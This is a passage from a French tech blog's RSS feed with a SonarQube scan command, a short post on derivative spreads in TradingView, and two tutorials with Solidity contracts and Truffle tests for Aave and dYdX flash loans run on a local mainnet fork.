<h2 id="créer-un-projet-dans-sonar">Créer un projet dans Sonar</h2>
<p>Créer un projet de type manual dans Sonar et remplacer le <code>projectKey</code> et <code>projectName</code> dans le fichier <code>sonar-project.properties</code>.</p>
<br/>
<h2 id="lancer-le-scan-du-projet">Lancer le scan du projet</h2>
<pre tabindex="0"><code>sonar-scanner \
  -Dsonar.projectKey=org.sonarqube:python-sonar-scanner \
  -Dsonar.sources=. \
  -Dsonar.host.url=http://192.168.43.5:9000 \
  -Dsonar.login=admin \
  -Dsonar.password=admin
</code></pre><br/>
<h1 id="résultat">Résultat</h1>
<p>Voici ce que vous obtiendrez:</p>
<p><img src="/images/sonar-clean.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Afficher les spreads des produits dérivés dans Tradingview</title>
            <link>https://leandeep.com/afficher-les-spreads-des-produits-d%C3%A9riv%C3%A9s-dans-tradingview/</link>
            <pubDate>Wed, 24 Nov 2021 19:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/afficher-les-spreads-des-produits-d%C3%A9riv%C3%A9s-dans-tradingview/</guid>
            <description>&lt;p&gt;Aujourd&amp;rsquo;hui j&amp;rsquo;écris mon premier article sur le trading. J&amp;rsquo;avais déjà écrit un article sur la finance en parlant d&amp;rsquo;un outil que j&amp;rsquo;avais construit pour suivre les mouvements des fonds d&amp;rsquo;investissement via le RPA (Robotic Process Automation) mais jamais sur le trading.&lt;/p&gt;
&lt;p&gt;Nous allons voir comment afficher les spreads dans Tradingview en construisant son propre indicateur EMA (Exponential Moving Average) sur 13 périodes. Voici la démarche à suivre à travers cette vidéo.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Aujourd&rsquo;hui j&rsquo;écris mon premier article sur le trading. J&rsquo;avais déjà écrit un article sur la finance en parlant d&rsquo;un outil que j&rsquo;avais construit pour suivre les mouvements des fonds d&rsquo;investissement via le RPA (Robotic Process Automation) mais jamais sur le trading.</p>
<p>Nous allons voir comment afficher les spreads dans Tradingview en construisant son propre indicateur EMA (Exponential Moving Average) sur 13 périodes. Voici la démarche à suivre à travers cette vidéo.</p>

    <iframe 
        width="100%" 
        height="400px"
        src="//www.youtube.com/embed/-FU0M0X0-fk?autoplay=1&mute=1" 
        frameborder="0" 
        allow="autoplay; encrypted-media" 
        allowfullscreen>
    </iframe>


<br/>
<blockquote>
<p><strong>A quoi servent les spreads ?</strong>
<br/>
Les spreads des produits dérivés nous permettent de déterminer si on peut poser un bottom ou non. Lorsque le contrat d&rsquo;un produit dérivé sur un exchange s&rsquo;échange à un prix plus faible qu&rsquo;un contrat spot, le sentiment de marché est baissier. En d&rsquo;autres termes, lorsque les spreads sont négatifs c&rsquo;est que les gens sont en train de shorter le marché.
Donc si la majorité des gens vendent leurs actifs, les gros portefeuilles (whales) vont très certainement les racheter et donc le marché va se retourner. Et pour suivre la tendance, les gens devront acheter plus haut ce qui fera augmenter le cours.</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Smart contract development: Emprunter 1 million de DAI (~dollars) avec un flashloan sur Aave</title>
            <link>https://leandeep.com/smart-contract-development-emprunter-1-million-de-dai-~dollars-avec-un-flashloan-sur-aave/</link>
            <pubDate>Fri, 05 Nov 2021 09:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/smart-contract-development-emprunter-1-million-de-dai-~dollars-avec-un-flashloan-sur-aave/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment réaliser un Flashloan sur Aave.
&lt;br/&gt;
Nous allons emprunter $1 000 000 et le rembourser instantanément avec 0.09% de frais. Pour emprunter $1 000 000 et faire ce qu&amp;rsquo;on veut avec tant qu&amp;rsquo;il est remboursé dans la même transaction, on ne va payer que $900 d&amp;rsquo;intérêt&amp;hellip;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour cet example, j&amp;rsquo;ai utilisé Node version: &lt;code&gt;nvm use v14.17.6&lt;/code&gt;. J&amp;rsquo;ai aussi installé les modules NodeJS &lt;code&gt;ganache-cli&lt;/code&gt; et &lt;code&gt;truffle&lt;/code&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment réaliser un Flashloan sur Aave.
<br/>
Nous allons emprunter $1 000 000 et le rembourser instantanément avec 0.09% de frais. Pour emprunter $1 000 000 et faire ce qu&rsquo;on veut avec tant qu&rsquo;il est remboursé dans la même transaction, on ne va payer que $900 d&rsquo;intérêt&hellip;</p>
<blockquote>
<p>Pour cet example, j&rsquo;ai utilisé Node version: <code>nvm use v14.17.6</code>. J&rsquo;ai aussi installé les modules NodeJS <code>ganache-cli</code> et <code>truffle</code></p></blockquote>
<br/>
<h2 id="création-du-smart-contract">Création du Smart contract</h2>
<p>Créer un fichier <code>SimpleAaveFlashloan.sol</code> dans le répertoire <code>contracts/simple-aave-flashloan</code> de votre repo git et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import &#34;@openzeppelin/contracts/utils/math/SafeMath.sol&#34;;
import &#34;./interfaces/FlashLoanReceiverBase.sol&#34;;

contract SimpleAaveFlashloan is FlashLoanReceiverBase {
    using SafeMath for uint256;

    struct Data {
        address token;
        uint256 amount;
    }
    address public tokenBorrowed;

    event Log(string message, uint256 value);
    event LogAsset(string message, address token);

    constructor(ILendingPoolAddressesProvider _addressProvider)
        FlashLoanReceiverBase(_addressProvider)
    {}

    function flashLoan(address _token, uint256 _amount) external {
        uint256 token_balance = IERC20(_token).balanceOf(address(this));
        uint256 min_amount = _amount.div(50);
        require(
            token_balance &gt; min_amount,
            &#34;token balance has to be higher than 10% of the amount borrowed&#34;
        );

        address receiverAddress = address(this);

        // multiple assets can be borrowed, in this case just 1
        address[] memory assets = new address[](1);
        assets[0] = _token;

        // array of amount has to be the same lenght as the assets array
        uint256[] memory amounts = new uint256[](1);
        amounts[0] = _amount;

        // 0 = no debt (flashloan), 1 = stable and 2 = variable
        uint256[] memory modes = new uint256[](1);
        modes[0] = 0;

        require(
            assets.length == amounts.length,
            &#34;assets and amounts arrays are not the same length&#34;
        );

        // this is the address that would receive the debt in case modes 1 and 2
        address onBehalfOf = address(this);

        // data that can be usefull to do arbitrage or liquidations
        bytes memory params = abi.encode(
            Data({token: _token, amount: _amount})
        );

        uint16 referralCode = 0;

        // LENDING_POOL is called inside FlashLoanReceiverBase
        LENDING_POOL.flashLoan(
            receiverAddress,
            assets,
            amounts,
            modes,
            onBehalfOf,
            params,
            referralCode
        );
    }

    // AAVE protocol will call this function after we call LENDING_POOL.flashLoan()
    // here the flashloan is received, in this function we have to repay AAVE after doing stuff with the flashloan
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external override returns (bool) {
        require(initiator == address(this), &#34;!initiator&#34;);

        Data memory data_decoded = abi.decode(params, (Data));

        if (assets.length == 1) {
            tokenBorrowed = assets[0];
            uint256 amountBorrowed = amounts[0];
            uint256 fee = premiums[0];

            require(
                tokenBorrowed == data_decoded.token &amp;&amp;
                    amountBorrowed == data_decoded.amount
            );

            /*
             *  arbitrage or liquidation code
             */

            //emit LogAsset(&#39;token&#39;, tokenBorrowed);
            emit Log(&#34;borrowed&#34;, amountBorrowed);
            emit Log(&#34;fee&#34;, fee);
            emit Log(&#34;amount to pay back&#34;, amountBorrowed.add(fee));

            // amoun to pay back to AAVE
            uint256 totalAmount = amountBorrowed.add(fee);
            // approve LENDING_POOL
            IERC20(tokenBorrowed).approve(address(LENDING_POOL), totalAmount);
        } else {
            // if you borrow more than 1 token
            for (uint256 i = 0; i &lt; assets.length; i++) {
                emit LogAsset(&#34;token&#34;, assets[i]);
                emit Log(&#34;borrowed&#34;, amounts[i]);
                emit Log(&#34;fee&#34;, premiums[i]);
            }
        }
        return true;
    }
}
</code></pre><br/>
<p>L&rsquo;interface <code>FlashLoanReceiverBase.sol</code> dans le répertoire <code>./contracts/simple-aave-flashloan/interfaces</code> ressemble à ceci:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

import &#34;@openzeppelin/contracts/utils/math/SafeMath.sol&#34;;
import &#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&#34;;
import &#34;@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol&#34;;

import &#34;./IFlashLoanReceiver.sol&#34;;
import &#34;./ILendingPoolAddressProvider.sol&#34;;
import &#34;./ILendingPool.sol&#34;;

abstract contract FlashLoanReceiverBase is IFlashLoanReceiver {
    using SafeERC20 for IERC20;
    using SafeMath for uint256;

    ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER;
    ILendingPool public immutable LENDING_POOL;

    constructor(ILendingPoolAddressesProvider provider) {
        ADDRESSES_PROVIDER = provider;
        LENDING_POOL = ILendingPool(provider.getLendingPool());
    }
}
</code></pre><br/>
<p>La seconde interface <code>IFlashLoanReceiver.sol</code> dans le répertoire <code>./contracts/simple-aave-flashloan/interfaces</code> contient le code suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface IFlashLoanReceiver {
    function executeOperation(
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata premiums,
        address initiator,
        bytes calldata params
    ) external returns (bool);
}
</code></pre><br/>
<p>La troisième interface <code>ILendingPool.sol</code> dans le répertoire <code>./contracts/simple-aave-flashloan/interfaces</code> ressemble à cela:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface ILendingPool {
    function flashLoan(
        address receiverAddress,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}
</code></pre><br/>
<p>Enfin, la dernière interface <code>ILendingPoolAddressProvider.sol</code> dans le répertoire <code>./contracts/simple-aave-flashloan/interfaces</code> a le code suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8;

interface ILendingPoolAddressesProvider {
    function getLendingPool() external view returns (address);
}
</code></pre><br/>
<h2 id="création-du-tu-permettant-dappeler-notre-smart-contract">Création du TU permettant d&rsquo;appeler notre Smart contract</h2>
<p>Créer un fichier <code>test/simple-aave-flashloan.js</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>const IERC20 = artifacts.require(&#39;IERC20&#39;);
const SimpleAaveFlashloan = artifacts.require(&#39;SimpleAaveFlashloan&#39;);
const BN = require(&#39;bn.js&#39;);
const { assert } = require(&#39;chai&#39;);

require(&#39;chai&#39;)
    .use(require(&#39;chai-as-promised&#39;))
    .should()

contract(&#39;SimpleAaveFlashloan&#39;, accounts =&gt; {
    const DAI = &#39;0x6B175474E89094C44Da98b954EedeAC495271d0F&#39;;
    const AAVE = &#39;0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5&#39;;

    const DECIMALS = 18;
    const DAI_WHALE = &#39;0xC73f6738311E76D45dFED155F39773e68251D251&#39;;

    const FUND_AMOUNT = new BN(10).pow(new BN(DECIMALS)).mul(new BN(21000));
    const FUND_AMOUNT_FAIL = new BN(10).pow(new BN(DECIMALS)).mul(new BN(1000));
    const BORROW_AMOUNT = new BN(10).pow(new BN(DECIMALS)).mul(new BN(1000000));

    let simpleAaveFlashloan, token, token_borrowed, flashloan_user, amount, contract_balance

    beforeEach(async () =&gt; {
        token = await IERC20.at(DAI);
        simpleAaveFlashloan = await SimpleAaveFlashloan.new(AAVE);
        flashloan_user = accounts[0];

        // await network.provider.request({
        //     method: &#34;hardhat_impersonateAccount&#34;,
        //     params: [DAI_WHALE],
        // });
        console.log(`contract address is: ${simpleAaveFlashloan.address}`)

        const whale_balance = await token.balanceOf(DAI_WHALE);
        assert(whale_balance.gte(FUND_AMOUNT), &#39;Whale DAI balance has to be higher than FUND_AMOUNT&#39;);
    })

    it(&#39;flash loan function works correctly&#39;, async () =&gt; {

        await token.transfer(simpleAaveFlashloan.address, FUND_AMOUNT, { from: DAI_WHALE });
        contract_balance = await token.balanceOf(simpleAaveFlashloan.address) / 1e18
        console.log(`DAI contract balance before flashloan: ${contract_balance.toString()}`)

        const tx = await simpleAaveFlashloan.flashLoan(DAI, BORROW_AMOUNT)
        token_borrowed = await simpleAaveFlashloan.tokenBorrowed();
        assert.equal(DAI, token_borrowed, &#39;token and token_borrowed are different&#39;)

        for (const log of tx.logs) {
            //console.log(log.args.message, log.args.token)
            amount = log.args.value / 1e18;
            console.log(log.args.message, amount.toString())
        }
        contract_balance = await token.balanceOf(simpleAaveFlashloan.address) / 1e18
        console.log(`DAI contract balance after flashloan: ${contract_balance.toString()}`)


    })

    it(&#39;flash loan function should fail if contract balance is less than 2% of BORROW_AMOUT&#39;, async () =&gt; {

        await token.transfer(simpleAaveFlashloan.address, FUND_AMOUNT_FAIL, { from: DAI_WHALE });
        const contract_balance = await token.balanceOf(simpleAaveFlashloan.address) / 1e18
        console.log(`DAI contract balance: ${contract_balance.toString()} --- this is not enough balance, should be rejected `)
        await simpleAaveFlashloan.flashLoan(DAI, BORROW_AMOUNT).should.be.rejected;
    })

})
</code></pre><br/>
<h2 id="forker-le-mainnet-ethereum">Forker le mainnet Ethereum</h2>
<p>Créer un fichier de config <code>truffle-config.js</code> au niveau root de votre repo contenant l&rsquo;alias vers l&rsquo;environnement <code>mainnet_fork</code>:</p>
<pre tabindex="0"><code>module.exports = {
    contracts_directory: &#34;./contracts/simple-aave-flashloan/&#34;,
    networks: {
        mainnet_fork: {
            host: &#34;127.0.0.1&#34;, // Localhost (default: none)
            port: 8545, // Standard Ethereum port (default: none)
            network_id: &#34;999&#34;, // Any network (default: none)
            gas: 0
        },
    },

    // Set default mocha options here, use special reporters etc.
    mocha: {
        // timeout: 100000
    },

    // Configure your compilers
    compilers: {
        solc: {
            version: &#34;0.7.6&#34;, // Fetch exact version from solc-bin (default: truffle&#39;s version)
        },
    },
}
</code></pre><br/>
<blockquote>
<p>Repérer une whale possèdant de l&rsquo;USDC via <a href="https://twitter.com/whale_alert">https://twitter.com/whale_alert</a>, récupérer son wallet Ethereum via Etherscan et unlocker le  dans votre fork Ethereum.</p></blockquote>
<pre tabindex="0"><code>source .env
ganache-cli --fork https://mainnet.infura.io/v3/$TOKEN_INFURA --seed $YOUR_SEED -i --unlock $WHALE_ADDRESS --networkId 999
</code></pre><br/>
<h2 id="exécution-du-swap">Exécution du swap</h2>
<pre tabindex="0"><code>npx truffle test --network mainnet_fork test/simple-aave-flashloan.js
</code></pre><p>Voilà, si tout est bien configuré, vous devriez voir ceci à la fin du test:</p>
<br/>
<p><img src="/images/flashloan-aave-result.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Smart contract development: Emprunter 1 million de DAI (~dollars) avec un flashloan sur DyDx</title>
            <link>https://leandeep.com/smart-contract-development-emprunter-1-million-de-dai-~dollars-avec-un-flashloan-sur-dydx/</link>
            <pubDate>Fri, 05 Nov 2021 08:08:00 +0000</pubDate>
            
            <guid>https://leandeep.com/smart-contract-development-emprunter-1-million-de-dai-~dollars-avec-un-flashloan-sur-dydx/</guid>
            <description>&lt;p&gt;Dans cet article nous allons voir comment réaliser un Flashloan sur DyDx.
&lt;br/&gt;
Nous allons emprunter $1 000 000 et le rembourser instantanément avec des frais seulement de 2 wei. Crazy !&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Pour cet example, j&amp;rsquo;ai utilisé Node version: &lt;code&gt;nvm use v14.17.6&lt;/code&gt;. J&amp;rsquo;ai aussi installé les modules NodeJS &lt;code&gt;ganache-cli&lt;/code&gt; et &lt;code&gt;truffle&lt;/code&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;br/&gt;
&lt;h2 id=&#34;création-du-smart-contract&#34;&gt;Création du Smart contract&lt;/h2&gt;
&lt;p&gt;Créer un fichier &lt;code&gt;SimpleDyDxFlashloan.sol&lt;/code&gt; dans le répertoire &lt;code&gt;contracts/simple-dydx-flashloan&lt;/code&gt; de votre repo git et ajouter le contenu suivant:&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article nous allons voir comment réaliser un Flashloan sur DyDx.
<br/>
Nous allons emprunter $1 000 000 et le rembourser instantanément avec des frais seulement de 2 wei. Crazy !</p>
<blockquote>
<p>Pour cet example, j&rsquo;ai utilisé Node version: <code>nvm use v14.17.6</code>. J&rsquo;ai aussi installé les modules NodeJS <code>ganache-cli</code> et <code>truffle</code></p></blockquote>
<br/>
<h2 id="création-du-smart-contract">Création du Smart contract</h2>
<p>Créer un fichier <code>SimpleDyDxFlashloan.sol</code> dans le répertoire <code>contracts/simple-dydx-flashloan</code> de votre repo git et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import &#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&#34;;
import &#34;./interfaces/DyDxFlashloanBase.sol&#34;;
import &#34;./interfaces/ICallee.sol&#34;;

contract SimpleDyDxFlashloan is DydxFlashloanBase, ICallee {
    address private constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
    address public user;

    event Log(string message, uint256 val);

    struct Data {
        address token;
        uint256 repayAmount;
    }

    // Call dydx and request a flashloan
    function initiateFlashloan(address _token, uint256 _amount) external {
        ISoloMargin solo = ISoloMargin(SOLO);
        uint256 marketID = _getMarketIdFromTokenAddress(SOLO, _token);

        // Calculate repay amount
        uint256 repay_amount = _getRepaymentAmountInternal(_amount);
        IERC20(_token).approve(SOLO, repay_amount);

        Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);

        operations[0] = _getWithdrawAction(marketID, _amount);
        operations[1] = _getCallAction(
            abi.encode(Data({token: _token, repayAmount: repay_amount}))
        );
        operations[2] = _getDepositAction(marketID, repay_amount);

        Account.Info[] memory accountInfos = new Account.Info[](1);

        accountInfos[0] = _getAccountInfo();

        solo.operate(accountInfos, operations);
    }

    // This function receives the flashloan
    // Fallback function called by dydx
    function callFunction(
        address sender,
        Account.Info memory account,
        bytes memory data
    ) public override {
        require(
            msg.sender == SOLO,
            &#34;the caller to this function is not SOLO contract&#34;
        );
        require(
            sender == address(this),
            &#34;sender of the flashloan has to be the address of dydxFlashloan&#34;
        );

        Data memory data_decoded = abi.decode(data, (Data));
        uint256 repay_amount = data_decoded.repayAmount;

        uint256 balance = IERC20(data_decoded.token).balanceOf(address(this));
        require(
            balance &gt;= repay_amount,
            &#34;balance has to be higher than repay amount&#34;
        );

        user = sender;
        emit Log(&#34;balance&#34;, balance);
        emit Log(&#34;repay amount&#34;, repay_amount);
        emit Log(&#34;balance - repay amount&#34;, balance - repay_amount);
    }
}
</code></pre><br/>
<p>L&rsquo;interface <code>DyDxFlashloanBase.sol</code> dans le répertoire <code>./contracts/simple-dydx-flashloan/interfaces</code> ressemble à ceci:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8;
pragma experimental ABIEncoderV2;

import &#34;@openzeppelin/contracts/utils/math/SafeMath.sol&#34;;
import &#34;@openzeppelin/contracts/token/ERC20/IERC20.sol&#34;;

import &#34;./ISoloMargin.sol&#34;;

contract DydxFlashloanBase {
    using SafeMath for uint256;

    // -- Internal Helper functions -- //

    function _getMarketIdFromTokenAddress(address _solo, address token)
        internal
        view
        returns (uint256)
    {
        ISoloMargin solo = ISoloMargin(_solo);

        uint256 numMarkets = solo.getNumMarkets();

        address curToken;
        for (uint256 i = 0; i &lt; numMarkets; i++) {
            curToken = solo.getMarketTokenAddress(i);

            if (curToken == token) {
                return i;
            }
        }

        revert(&#34;No marketId found for provided token&#34;);
    }

    function _getRepaymentAmountInternal(uint256 amount)
        internal
        pure
        returns (uint256)
    {
        // Needs to be overcollateralize
        // Needs to provide +2 wei to be safe
        return amount.add(2);
    }

    function _getAccountInfo() internal view returns (Account.Info memory) {
        return Account.Info({owner: address(this), number: 1});
    }

    function _getWithdrawAction(uint256 marketId, uint256 amount)
        internal
        view
        returns (Actions.ActionArgs memory)
    {
        return
            Actions.ActionArgs({
                actionType: Actions.ActionType.Withdraw,
                accountId: 0,
                amount: Types.AssetAmount({
                    sign: false,
                    denomination: Types.AssetDenomination.Wei,
                    ref: Types.AssetReference.Delta,
                    value: amount
                }),
                primaryMarketId: marketId,
                secondaryMarketId: 0,
                otherAddress: address(this),
                otherAccountId: 0,
                data: &#34;&#34;
            });
    }

    function _getCallAction(bytes memory data)
        internal
        view
        returns (Actions.ActionArgs memory)
    {
        return
            Actions.ActionArgs({
                actionType: Actions.ActionType.Call,
                accountId: 0,
                amount: Types.AssetAmount({
                    sign: false,
                    denomination: Types.AssetDenomination.Wei,
                    ref: Types.AssetReference.Delta,
                    value: 0
                }),
                primaryMarketId: 0,
                secondaryMarketId: 0,
                otherAddress: address(this),
                otherAccountId: 0,
                data: data
            });
    }

    function _getDepositAction(uint256 marketId, uint256 amount)
        internal
        view
        returns (Actions.ActionArgs memory)
    {
        return
            Actions.ActionArgs({
                actionType: Actions.ActionType.Deposit,
                accountId: 0,
                amount: Types.AssetAmount({
                    sign: true,
                    denomination: Types.AssetDenomination.Wei,
                    ref: Types.AssetReference.Delta,
                    value: amount
                }),
                primaryMarketId: marketId,
                secondaryMarketId: 0,
                otherAddress: address(this),
                otherAccountId: 0,
                data: &#34;&#34;
            });
    }
}

// test and deployment
</code></pre><br/>
<p>La seconde interface <code>ICallee.sol</code> dans le répertoire <code>./contracts/simple-dydx-flashloan/interfaces</code> contient le code suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8;
pragma experimental ABIEncoderV2;

import {Account} from &#34;./ISoloMargin.sol&#34;;

/**
 * @title ICallee
 * @author dYdX
 *
 * Interface that Callees for Solo must implement in order to ingest data.
 */
interface ICallee {
    // ============ Public Functions ============

    /**
     * Allows users to send this contract arbitrary data.
     *
     * @param  sender       The msg.sender to Solo
     * @param  accountInfo  The account from which the data is being sent
     * @param  data         Arbitrary data given by the sender
     */
    function callFunction(
        address sender,
        Account.Info calldata accountInfo,
        bytes calldata data
    ) external;
}
</code></pre><br/>
<p>Enfin, la dernière interface <code>ISoloMargin.sol</code> dans le répertoire <code>./contracts/simple-dydx-flashloan/interfaces</code> a le code suivant:</p>
<pre tabindex="0"><code>// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8;
pragma experimental ABIEncoderV2;

library Account {
    enum Status {
        Normal,
        Liquid,
        Vapor
    }
    struct Info {
        address owner; // The address that owns the account
        uint256 number; // A nonce that allows a single address to control many accounts
    }
    struct accStorage {
        mapping(uint256 =&gt; Types.Par) balances; // Mapping from marketId to principal
        Status status;
    }
}

library Actions {
    enum ActionType {
        Deposit, // supply tokens
        Withdraw, // borrow tokens
        Transfer, // transfer balance between accounts
        Buy, // buy an amount of some token (publicly)
        Sell, // sell an amount of some token (publicly)
        Trade, // trade tokens against another account
        Liquidate, // liquidate an undercollateralized or expiring account
        Vaporize, // use excess tokens to zero-out a completely negative account
        Call // send arbitrary data to an address
    }

    enum AccountLayout {
        OnePrimary,
        TwoPrimary,
        PrimaryAndSecondary
    }

    enum MarketLayout {
        ZeroMarkets,
        OneMarket,
        TwoMarkets
    }

    struct ActionArgs {
        ActionType actionType;
        uint256 accountId;
        Types.AssetAmount amount;
        uint256 primaryMarketId;
        uint256 secondaryMarketId;
        address otherAddress;
        uint256 otherAccountId;
        bytes data;
    }

    struct DepositArgs {
        Types.AssetAmount amount;
        Account.Info account;
        uint256 market;
        address from;
    }

    struct WithdrawArgs {
        Types.AssetAmount amount;
        Account.Info account;
        uint256 market;
        address to;
    }

    struct TransferArgs {
        Types.AssetAmount amount;
        Account.Info accountOne;
        Account.Info accountTwo;
        uint256 market;
    }

    struct BuyArgs {
        Types.AssetAmount amount;
        Account.Info account;
        uint256 makerMarket;
        uint256 takerMarket;
        address exchangeWrapper;
        bytes orderData;
    }

    struct SellArgs {
        Types.AssetAmount amount;
        Account.Info account;
        uint256 takerMarket;
        uint256 makerMarket;
        address exchangeWrapper;
        bytes orderData;
    }

    struct TradeArgs {
        Types.AssetAmount amount;
        Account.Info takerAccount;
        Account.Info makerAccount;
        uint256 inputMarket;
        uint256 outputMarket;
        address autoTrader;
        bytes tradeData;
    }

    struct LiquidateArgs {
        Types.AssetAmount amount;
        Account.Info solidAccount;
        Account.Info liquidAccount;
        uint256 owedMarket;
        uint256 heldMarket;
    }

    struct VaporizeArgs {
        Types.AssetAmount amount;
        Account.Info solidAccount;
        Account.Info vaporAccount;
        uint256 owedMarket;
        uint256 heldMarket;
    }

    struct CallArgs {
        Account.Info account;
        address callee;
        bytes data;
    }
}

library Decimal {
    struct D256 {
        uint256 value;
    }
}

library Interest {
    struct Rate {
        uint256 value;
    }

    struct Index {
        uint96 borrow;
        uint96 supply;
        uint32 lastUpdate;
    }
}

library Monetary {
    struct Price {
        uint256 value;
    }
    struct Value {
        uint256 value;
    }
}

library Storage {
    // All information necessary for tracking a market
    struct Market {
        // Contract address of the associated ERC20 token
        address token;
        // Total aggregated supply and borrow amount of the entire market
        Types.TotalPar totalPar;
        // Interest index of the market
        Interest.Index index;
        // Contract address of the price oracle for this market
        address priceOracle;
        // Contract address of the interest setter for this market
        address interestSetter;
        // Multiplier on the marginRatio for this market
        Decimal.D256 marginPremium;
        // Multiplier on the liquidationSpread for this market
        Decimal.D256 spreadPremium;
        // Whether additional borrows are allowed for this market
        bool isClosing;
    }

    // The global risk parameters that govern the health and security of the system
    struct RiskParams {
        // Required ratio of over-collateralization
        Decimal.D256 marginRatio;
        // Percentage penalty incurred by liquidated accounts
        Decimal.D256 liquidationSpread;
        // Percentage of the borrower&#39;s interest fee that gets passed to the suppliers
        Decimal.D256 earningsRate;
        // The minimum absolute borrow value of an account
        // There must be sufficient incentivize to liquidate undercollateralized accounts
        Monetary.Value minBorrowedValue;
    }

    // The maximum RiskParam values that can be set
    struct RiskLimits {
        uint64 marginRatioMax;
        uint64 liquidationSpreadMax;
        uint64 earningsRateMax;
        uint64 marginPremiumMax;
        uint64 spreadPremiumMax;
        uint128 minBorrowedValueMax;
    }

    // The entire storage state of Solo
    struct State {
        // number of markets
        uint256 numMarkets;
        // marketId =&gt; Market
        mapping(uint256 =&gt; Market) markets;
        // owner =&gt; account number =&gt; Account
        mapping(address =&gt; mapping(uint256 =&gt; Account.accStorage)) accounts;
        // Addresses that can control other users accounts
        mapping(address =&gt; mapping(address =&gt; bool)) operators;
        // Addresses that can control all users accounts
        mapping(address =&gt; bool) globalOperators;
        // mutable risk parameters of the system
        RiskParams riskParams;
        // immutable risk limits of the system
        RiskLimits riskLimits;
    }
}

library Types {
    enum AssetDenomination {
        Wei, // the amount is denominated in wei
        Par // the amount is denominated in par
    }

    enum AssetReference {
        Delta, // the amount is given as a delta from the current value
        Target // the amount is given as an exact number to end up at
    }

    struct AssetAmount {
        bool sign; // true if positive
        AssetDenomination denomination;
        AssetReference ref;
        uint256 value;
    }

    struct TotalPar {
        uint128 borrow;
        uint128 supply;
    }

    struct Par {
        bool sign; // true if positive
        uint128 value;
    }

    struct Wei {
        bool sign; // true if positive
        uint256 value;
    }
}

interface ISoloMargin {
    struct OperatorArg {
        address operator;
        bool trusted;
    }

    function ownerSetSpreadPremium(
        uint256 marketId,
        Decimal.D256 calldata spreadPremium
    ) external;

    function getIsGlobalOperator(address operator) external view returns (bool);

    function getMarketTokenAddress(uint256 marketId)
        external
        view
        returns (address);

    function ownerSetInterestSetter(uint256 marketId, address interestSetter)
        external;

    function getAccountValues(Account.Info calldata account)
        external
        view
        returns (Monetary.Value memory, Monetary.Value memory);

    function getMarketPriceOracle(uint256 marketId)
        external
        view
        returns (address);

    function getMarketInterestSetter(uint256 marketId)
        external
        view
        returns (address);

    function getMarketSpreadPremium(uint256 marketId)
        external
        view
        returns (Decimal.D256 memory);

    function getNumMarkets() external view returns (uint256);

    function ownerWithdrawUnsupportedTokens(address token, address recipient)
        external
        returns (uint256);

    function ownerSetMinBorrowedValue(Monetary.Value calldata minBorrowedValue)
        external;

    function ownerSetLiquidationSpread(Decimal.D256 calldata spread) external;

    function ownerSetEarningsRate(Decimal.D256 calldata earningsRate) external;

    function getIsLocalOperator(address _owner, address operator)
        external
        view
        returns (bool);

    function getAccountPar(Account.Info calldata account, uint256 marketId)
        external
        view
        returns (Types.Par memory);

    function ownerSetMarginPremium(
        uint256 marketId,
        Decimal.D256 calldata marginPremium
    ) external;

    function getMarginRatio() external view returns (Decimal.D256 memory);

    function getMarketCurrentIndex(uint256 marketId)
        external
        view
        returns (Interest.Index memory);

    function getMarketIsClosing(uint256 marketId) external view returns (bool);

    function getRiskParams() external view returns (Storage.RiskParams memory);

    function getAccountBalances(Account.Info calldata account)
        external
        view
        returns (
            address[] memory,
            Types.Par[] memory,
            Types.Wei[] memory
        );

    function renounceOwnership() external;

    function getMinBorrowedValue()
        external
        view
        returns (Monetary.Value memory);

    function setOperators(OperatorArg[] calldata args) external;

    function getMarketPrice(uint256 marketId) external view returns (address);

    function owner() external view returns (address);

    function isOwner() external view returns (bool);

    function ownerWithdrawExcessTokens(uint256 marketId, address recipient)
        external
        returns (uint256);

    function ownerAddMarket(
        address token,
        address priceOracle,
        address interestSetter,
        Decimal.D256 calldata marginPremium,
        Decimal.D256 calldata spreadPremium
    ) external;

    function operate(
        Account.Info[] calldata accounts,
        Actions.ActionArgs[] calldata actions
    ) external;

    function getMarketWithInfo(uint256 marketId)
        external
        view
        returns (
            Storage.Market memory,
            Interest.Index memory,
            Monetary.Price memory,
            Interest.Rate memory
        );

    function ownerSetMarginRatio(Decimal.D256 calldata ratio) external;

